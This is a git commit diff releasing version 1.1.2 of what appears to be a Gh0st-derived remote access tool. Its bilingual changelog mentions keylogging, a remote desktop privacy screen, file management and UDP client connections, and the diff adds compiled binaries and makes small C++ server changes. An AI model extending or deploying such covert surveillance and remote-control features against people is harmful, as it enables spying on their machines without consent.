Release v1.1.2

This commit is contained in:
yuanyuanxiang
2025-07-07 05:10:40 +08:00
parent 06d63dd990
commit 522e083d97
16 changed files with 53 additions and 14 deletions

View File

@@ -254,6 +254,25 @@
- 改进:新增弹窗以显示主机的详细信息
- 改进客户端稳定性
**2025.07.07**
发布 v1.1.2:
* 修复:键盘记录功能的问题
* 安全:增强插件的授权机制
* 修复:释放 `CMachineDlg` 对象时的内存泄漏问题
* 修复:使用 `Reverse Proxy` 时显示错误的 IP 地址 (#147)
* 新增:添加跳转到授权指南页面的菜单项
* 插件:新增一个文件管理模块
* 优化:减少主程序中的冗余代码
* 修复:在后台数据处理过程中关闭窗口导致的崩溃问题
* 优化:移除读取注册表时的冗余代码
* 架构调整:重构 TCP 客户端/服务器代码;重写套接字服务器逻辑
* 新功能:支持同时监听多个端口
* 新功能:支持客户端通过 UDP 连接新增客户端协议选择TCP/UDP
* 插件:#145 支持远程画板功能
* 插件:增加远程桌面隐私屏幕功能
---
# 6.其他项目 <a id="6-other-projects"></a>

View File

@@ -270,6 +270,26 @@ Modifying and compiling the program yourself can also resolve this issue.*
* Improvement: Add a popup window to show details
* Improve client stability
**2025.07.07**
Release v1.1.2:
* Fix the problem with the keylogging feature
* Security: Improve the authorization of plugins
* fix: Memory leak when release `CMachineDlg` object
* fix: Showing wrong IP while using `Reverse Proxy` (#147)
* Add a menu redirects to the authorization guide page
* Plugin: Add another file management module
* Improve: Reduce master program redundant code
* fix: Prevent crash when closing window during background data processing
* Improve: Remove redundant code for reading the registry
* layout: Reorganize TCP client/server code; Refactor the socket server code
* feature: Support listening on multiple ports simultaneously
* feature: Support client connections over UDP; Add client protocol option TCP/UDP
* Plugin: #145 Support remote drawing board
* Plugin: Add remote desktop privacy screen feature
---
# 6. Related Projects

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

BIN
Releases/v1.1.2/Yama.exe Normal file

Binary file not shown.

View File

@@ -13,7 +13,7 @@
// Զ<>̵<EFBFBD>ַ
CONNECT_ADDRESS g_SETTINGS = {
FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
FALSE, Startup_DLL, NULL, PROTO_UDP, RUNNING_RANDOM,
FALSE, Startup_DLL, NULL, PROTO_TCP, RUNNING_RANDOM,
};
// <20><><EFBFBD>տͻ<D5BF><CDBB><EFBFBD>ֻ<EFBFBD><D6BB>2<EFBFBD><32>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա.

View File

@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
//
VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,1,1
FILEVERSION 1,0,1,2
PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
@@ -106,7 +106,7 @@ BEGIN
BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.1.1"
VALUE "FileVersion", "1.0.1.2"
VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
VALUE "OriginalFilename", "ServerDll.dll"

View File

@@ -30,7 +30,11 @@ public:
BOOL StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) {
UINT ret1 = m_tcpServer->StartServer(NotifyProc, OffProc, uPort);
if (ret1) MessageBox(NULL, CString("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>TCP<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>: ") + std::to_string(uPort).c_str()
+ CString("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: ") + std::to_string(ret1).c_str(), "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
UINT ret2 = m_udpServer->StartServer(NotifyProc, OffProc, uPort);
if (ret2) MessageBox(NULL, CString("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>UDP<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>: ") + std::to_string(uPort).c_str()
+ CString("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: ") + std::to_string(ret2).c_str(), "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
return (ret1 == 0 || ret2 == 0);
}

Binary file not shown.

View File

@@ -1457,7 +1457,7 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
//真彩Bar
VOID CMy2015RemoteDlg::OnAbout()
{
MessageBox("Copyleft (c) FTU 2025" + CString("\n编译日期: ") + __DATE__ +
MessageBox("Copyleft (c) FTU 2019—2025" + CString("\n编译日期: ") + __DATE__ +
CString(sizeof(void*)==8 ? " (x64)" : " (x86)"), "关于");
}
@@ -1720,7 +1720,7 @@ std::string getDateStr(int daysOffset = 0) {
VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
{
if (isClosed) {
return ContextObject->Destroy();
return;
}
unsigned cmd = ContextObject->InDeCompressedBuffer.GetBYTE(0);
unsigned len = ContextObject->InDeCompressedBuffer.GetBufferLen();
@@ -1761,7 +1761,6 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
resp[80] = 0;
ContextObject->Send2Client((LPBYTE)resp, sizeof(resp));
Sleep(20);
ContextObject->Destroy();
break;
}
case CMD_EXECUTE_DLL: // 请求DLL
@@ -1776,7 +1775,6 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
}
}
Sleep(20);
ContextObject->Destroy();
break;
}
case COMMAND_PROXY:
@@ -1786,7 +1784,6 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
}
case TOKEN_HEARTBEAT: case 137:
UpdateActiveWindow(ContextObject);
ContextObject->Destroy();
break;
case SOCKET_DLLLOADER: {// 请求DLL
auto len = ContextObject->InDeCompressedBuffer.GetBufferLength();
@@ -1810,7 +1807,6 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
CancelIo((HANDLE)ContextObject->sClientSocket);
closesocket(ContextObject->sClientSocket);
Sleep(10);
ContextObject->Destroy();
break;
}
case TOKEN_DRAWING_BOARD:
@@ -2668,7 +2664,7 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
m_pFloatingTip = new CWnd();
int width = res[RES_FILE_PATH].GetLength() * 10;
width = min(max(width, 360), 800);
CRect rect(pt.x, pt.y, pt.x + width, pt.y + 60); // 宽度、高度
CRect rect(pt.x, pt.y, pt.x + width, pt.y + 80); // 宽度、高度
BOOL bOk = m_pFloatingTip->CreateEx(
WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE,

View File

@@ -478,7 +478,7 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP
PBYTE CompressedBuffer = ContextObject->ReadBuffer(ulCompressedLength, ulOriginalLength);
ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulCompressedLength);
if (m_NotifyProc(ContextObject))
ret = 999;
ret = CompressedBuffer[0] == TOKEN_LOGIN ? 999 : 1;
break;
}
@@ -500,7 +500,7 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP
ContextObject->Decode(CompressedBuffer, ulOriginalLength);
ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulOriginalLength);
if (m_NotifyProc(ContextObject))
ret = 999;
ret = CompressedBuffer[0] == TOKEN_LOGIN ? 999 : 1;
SAFE_DELETE_ARRAY(CompressedBuffer);
continue;
}
@@ -515,7 +515,7 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP
ContextObject->Decode(DeCompressedBuffer, ulOriginalLength);
ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
if (m_NotifyProc(ContextObject))
ret = 999;
ret = DeCompressedBuffer[0] == TOKEN_LOGIN ? 999 : 1;
}else if (usingZstd){
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>zlib<69><62>ѹ<EFBFBD><D1B9>
if (Z_OK == uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength)) {
@@ -524,7 +524,7 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP
ContextObject->Decode(DeCompressedBuffer, ulOriginalLength);
ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
if (m_NotifyProc(ContextObject))
ret = 999;
ret = DeCompressedBuffer[0] == TOKEN_LOGIN ? 999 : 1;
} else {
zlibFailed = true;
ContextObject->CompressMethod = COMPRESS_UNKNOWN;